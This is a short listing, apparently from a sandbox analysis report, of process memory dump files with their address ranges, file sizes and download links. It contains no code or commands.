memory/2708-228-0x00007FF8534C0000-0x00007FF85357E000-memory.dmp

Filesize
760KB

Download
memory/2972-189-0x0000000000A30000-0x0000000000A36000-memory.dmp

Filesize
24KB

Download
memory/2972-183-0x0000000000A30000-0x0000000000A36000-memory.dmp

Filesize
24KB

Download
memory/3808-175-0x0000000005AA0000-0x0000000005AAA000-memory.dmp

Filesize
40KB

Download
memory/3808-165-0x0000000000C70000-0x0000000000DDC000-memory.dmp

Filesize
1.4MB

Download
memory/3808-168-0x00000000056F0000-0x0000000005782000-memory.dmp

Filesize
584KB

Download
memory/4528-139-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4528-133-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4956-225-0x00007FF8535D0000-0x00007FF8537C5000-memory.dmp

Filesize
2.0MB

Download
memory/4956-226-0x00007FF8534C0000-0x00007FF85357E000-memory.dmp

Filesize
760KB

Download
memory/4956-229-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4956-224-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4956-230-0x00007FF8535D0000-0x00007FF8537C5000-memory.dmp

Filesize
2.0MB

Download
memory/4956-221-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download